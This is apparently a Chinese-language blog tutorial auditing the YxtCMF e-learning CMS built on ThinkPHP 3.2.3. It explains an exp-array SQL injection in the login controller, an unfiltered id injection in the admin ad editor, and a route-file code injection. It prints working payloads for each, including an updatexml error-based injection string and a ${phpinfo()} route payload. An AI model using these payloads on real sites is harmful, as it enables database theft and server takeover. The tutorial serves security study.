介绍

YxtCMF在线学习系统是一个以thinkphp+bootstrap为框架进行开发的网络学习平台系统。

在线学习系统,为现代学习型组织提供了卓有成效的学习与培训方案, 能够通过在线学习和在线评估的方式轻松完成针对员工制订的培训计划,能够轻松建立自己的网校!

1、设计理念:E-learning

2、简单直观的界面、主次分明的设计

3、YxtCMF帮助培训机构和个人以最低成本、最快速度建立自己的在线教学网站,无需担心技术问题

4、YxtCMF采用PHP 5开发,使用mysql数据库。 框架使用Thinkphp+Bootstrap框架

下载地址:https://www.jb51.net/codes/474604.html

目录结构

admin	//后台静态文件
appliication //应用文件
data //数据配置文件
Expand //扩展类库目录
plugins //插件
public //一些资源
themes //主题
ueditor //编辑器文件
update //升级文件
uploads //上传文件
yxtedu //核心目录根据Thinkphp3.2.3开发的
index.php

yxtcmf 基于 thinkphp3.2.3开发的,所以先了解一下目录

application/xxx/controller	//由于是MVC架构,所以我们重要的逻辑代码就在controller下查看就好了
application/xxx/Menu //里面基本上是数组,定义了网站的一些功能名称、模块,我们可以根据这些数组查找到功能点对应的php文件
data/conf/route.php //路由文件
data/conf/db.php //数据库配置文件
yxtedu/Core/Mode/Api/function.php //thinkphp里面的一些自定义的重要函数,后面我们需要用到

前台审计

我们了解完这些配置架构等等之后,我们可以就从 index.php 页面来审计

<?php
if (ini_get('magic_quotes_gpc'))
{
function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);
}
define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');
if (!file_exists("data/install.lock"))
{
if (strtolower($_GET['g']) != "install")
{
header("Location:./index.php?g=install");
exit();
}
}
require SPAPP_PATH . 'Core/ThinkPHP.php';

首先是判断 if (ini_get('magic_quotes_gpc')) ,查看是否开启GPC

若开启了的话,则会对GET、POST接受的参数进行 stripslashesRecursive(实质上就是stripslashes) 转义:

function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);

然后下面给一些常见的参数或者路径赋值,定义的一些常量:

define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');

然后再查看下面,可以发现是否安装成功;

0x01、前台登陆处未使用I函数过滤导致注入

漏洞地址 :application/User/Controller/LoginController.class.php

首先验证了验证码是否正确,然后初始化了一个Users模块,最后检测是用手机号登录还是用邮箱登录:

$this->_do_mobile_login();
$this->_do_email_login();

这两个函数的定义就在这段代码的下面

注意这第 146 行,查看这一句SQL语句,发现没有经过I函数过滤

Thinkphp3.2.3中,如果没有经过I函数接受数据则会导致SQL注入

这是thinkphp的一个框架漏洞,我们先来看一下where函数的功能和用法:

也就是说,where里面包含的内容就是我们要查找的where后面的语句,那么我们这里是不是只要直接写入语句进去就行啦~ 但是你要观察到我们这里where里面的$where变量是数组的形式,而并非字符串形式。

这里就得用到其他的姿势了,也就是exp查询

$where['mobile']=$_POST['username'];

这里需要传参数组进去(如果看不懂可以看看这个链接https://www.php.cn/php-weizijiaocheng-381282.html

这时候我们要在POST包里面传进数组,那怎么传呢?这里运用到了&这个符号进行传参,我们注意要传两个参数,第一个是exp,第二个是我们要执行的sql语句,然后就开始构造payload

account[0]=exp&account[1]=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true

我们执行一下看看咋样

可以看到少了个等于号,为什么?因为这个等于号被当做赋值用了,所以不会被当做代码执行,我们需要再传入一个等于号

account[0]=exp&account[1]==1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true

这时候就注入成功了

后台使用I方法但未选择过滤方式,导致默认未过滤形成注入

漏洞位置:application/Admin/Controller/AdController.class.php

	function edit(){
$id=I("get.id");
$ad=$this->ad_model->where("ad_id=$id")->find();
$this->assign($ad);
$this->display();
}

根据函数命名可以知道这个是编辑,于是我们添加一条广告

再进去,通过下图我们可以知道这个是伪静态注入

这边接受我们的id,$id 虽然经过了I函数,但是没有选择,而默认又是为空



这边只需要闭合一下就可以了

因为路由设置问题导致GetShell

漏洞位置:application\Admin\Controller\RouteController.class.php

跟进 sp_get_routes 函数,这边贴出关键代码

function sp_get_routes($refresh=false){
......
$routes=M("Route")->where("status=1")->order("listorder asc")->select(); //取出status为1的Route
$all_routes=array();
$cache_routes=array();
foreach ($routes as $er){
$full_url=htmlspecialchars_decode($er['full_url']); //这里的full_url用htmlspecialchars_decode解码
......
$all_routes[$url]=$full_url; //将$full_url添加到$all_routes中
}
......
$route_dir=SITE_PATH."/data/conf/";
if(!file_exists($route_dir)){
mkdir($route_dir);
} $route_file=$route_dir."route.php"; //检测是否存在目录和route.php file_put_contents($route_file, "<?php\treturn " . stripslashes(var_export($all_routes, true)) . ";"); //将我们的$all_routes写入到route.php中 return $cache_routes;

通过上面我们知道这边过滤函数三个

htmlspecialchars_decode
var_export
stripslashes

而这三个函数跟进后对我们没有什么用,等于把我们的route写入文件中

根据路由规则,我们直接进入目标的页面,这边可以写入文件,我们就可以去构造个Payload

index/a/b',${phpinfo()}.'

可以看出这边是把单引号闭合掉,然后执行

MVC框架的代码审计小教程的更多相关文章

  1. .NET轻量级MVC框架:Nancy入门教程(二)——Nancy和MVC的简单对比

    在上一篇的.NET轻量级MVC框架:Nancy入门教程(一)——初识Nancy中,简单介绍了Nancy,并写了一个Hello,world.看到大家的评论,都在问Nancy的优势在哪里?和微软的MVC比 ...

  2. .NET轻量级MVC框架:Nancy入门教程(一)——初识Nancy

    当我们要接到一个新的项目的时候,我们第一时间想到的是用微软的MVC框架,但是你是否想过微软的MVC是不是有点笨重?我们这个项目用MVC是不是有点大材小用?有没有可以替代MVC的东西呢?看到这里也许你会 ...

  3. BrnShop开源网上商城第二讲:ASP.NET MVC框架

    在团队设计BrnShop的web项目之初,我们碰到了两个问题,第一个是数据的复用和传递,第二个是大mvc框架和小mvc框架的选择.下面我依次来说明下. 首先是数据的复用和传递:对于BrnShop的每一 ...

  4. 自己动手写PHP MVC框架

    自己动手写PHP MVC框架 来自:yuansir-web.com / yuansir@live.cn 代码下载: https://github.com/yuansir/tiny-php-framew ...

  5. Java Web自定义MVC框架详解 (转)

    转自:http://blog.csdn.net/jackfrued/article/details/42774459 最近给学生讲Java Web,希望他们能够在学完这部分内容后自己实现一个MVC框架 ...

  6. MVC框架实例教程 【转载】

    1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式,把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Controller ...

  7. 手把手编写自己的PHP MVC框架实例教程

    1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式. MVC把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Contro ...

  8. PHP: 手把手编写自己的 MVC 框架实例教程

    1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式,把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Controller ...

  9. ASP.NET Core 入门教程 2、使用ASP.NET Core MVC框架构建Web应用

    一.前言 1.本文主要内容 使用dotnet cli创建基于解决方案(sln+csproj)的项目 使用Visual Studio Code开发基于解决方案(sln+csproj)的项目 Visual ...

随机推荐

  1. 刷题[MRCTF2020]套娃

    解题思路 查看源码,发现注释中存在代码 //1st $query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || ...

  2. Spark Extracting,transforming,selecting features

    Spark(3) - Extracting, transforming, selecting features 官方文档链接:https://spark.apache.org/docs/2.2.0/m ...

  3. LINQ中的OrderBy实现按照两个字段升序、降序排序操作

    在公司或许有这种需求,先根据第一个某个字段按照升序排序,然后如果相同,在按照第二个某个字降序排序,我们该怎么去实现呢? 现在来教教大家分别使用Labmda和LINQ进行这种操作. 1.先按照第一个字段 ...

  4. 交互式甘特图组件VARCHART XGantt 如何在活动中标注非工作间隔

    甘特图从1998年的第一个商用版本开始就致力于计划编制和项目管理方面控件的研究和开发,经过20多年的积累和沉淀,目前可为软件开发商和最终用户提供最顶级的计划编制和项目管理的控件产品,帮助用户快速的整合 ...

  5. 【extern】【static】

    C语言根据变量的生存周期来划分,可以分为静态存储方式和动态存储方式. 静态存储方式:是指在程序运行期间分配固定的存储空间的方式.静态存储区中存放了在整个程序执行过程中都存在的变量,如全局变量. 动态存 ...

  6. SpringBoot2.3中@Async实现异步

    启动加上@EnableAsync ,需要执行异步方法上加入@Async. 在方法上加上@Async之后 底层使用多线程技术. 不使用异步 先关代码: package com.yiyang.myfirs ...

  7. Camera插件之CinematicCamera介绍

    Camera插件之CinematicCamera 继承自PerspectiveCame 构造函数引用的PerspectiveCamera的构造函数, 代码如下 var CinematicCamera ...

  8. Java虚拟机系列——检视阅读

    Java虚拟机系列--检视阅读 参考 java虚拟机系列 入门掌握JVM所有知识点 2020重新出发,JAVA高级,JVM JVM基础系列 从 0 开始带你成为JVM实战高手 Java虚拟机-垃圾收集 ...

  9. shell-变量的数值运算-bc-typeset-中括号等方法介绍

    1. bc命令的用法: bc是unix下的计算器,它也可以用在命令行下面:    例:给自变量i加1 i=2 i=`echo $i + 1|bc` --------效率低     因为bc支持科学计算 ...

  10. python练习三角形,99乘法

    #方案一:# result=0# #列# for i in range(1,10):# #行# for j in range(1,i+1):# result=i*j# print('%d*%d=%d' ...